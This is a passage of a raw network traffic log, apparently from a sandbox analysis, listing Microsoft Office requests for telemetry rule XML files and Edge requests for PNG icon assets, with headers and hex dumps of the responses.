T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:55 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:55 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185255Z-174c587ffdfx984chC1TEB676g000000037000000000pa6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:55 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:55 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:55 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0cf5f3f5-601e-003e-691a-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185255Z-178bfbc474bbbqrhhC1NYCvw74000000051g000000007n2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:55 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:57 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:57 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185257Z-178bfbc474bxkclvhC1NYC69g400000004x0000000000zde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:58 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:57 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:57 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185257Z-178bfbc474btrnf9hC1NYCb80g00000004yg00000000g717 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:58 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:57 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:57 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185257Z-178bfbc474bbcwv4hC1NYCypys00000004p000000000ep9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:58 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:57 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:58 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185258Z-178bfbc474bbcwv4hC1NYCypys00000004t000000000429e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:58 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:57 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:58 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: e3da2723-301e-0051-6021-3d38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185258Z-178bfbc474bbbqrhhC1NYCvw74000000052g00000000508v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:58 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49902	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:58 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:52:58 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:58 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: f05f392f-b01e-0075-322a-3defbc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T185258Z-174c587ffdf8fcgwhC1TEBnn7000000003f000000000dg6x Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:58 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49898	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:58 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:52:58 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:58 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: f9357370-101e-005a-312a-3d6e86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T185258Z-15b8b599d88g5tp8hC1TEByx6w000000037000000000h1sx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:58 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49900	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:58 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:52:59 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:58 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 9c8cec2d-301e-006f-72d6-3dc0d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T185258Z-15b8b599d88wk8w4hC1TEB14b8000000038g00000000kn3c Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 18:52:59 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49901	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:58 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:52:59 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:58 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5447c91f-401e-006b-1bd6-3d3551000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T185258Z-15b8b599d882l6clhC1TEBxd5c000000036000000000drw0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 18:52:59 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49897	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
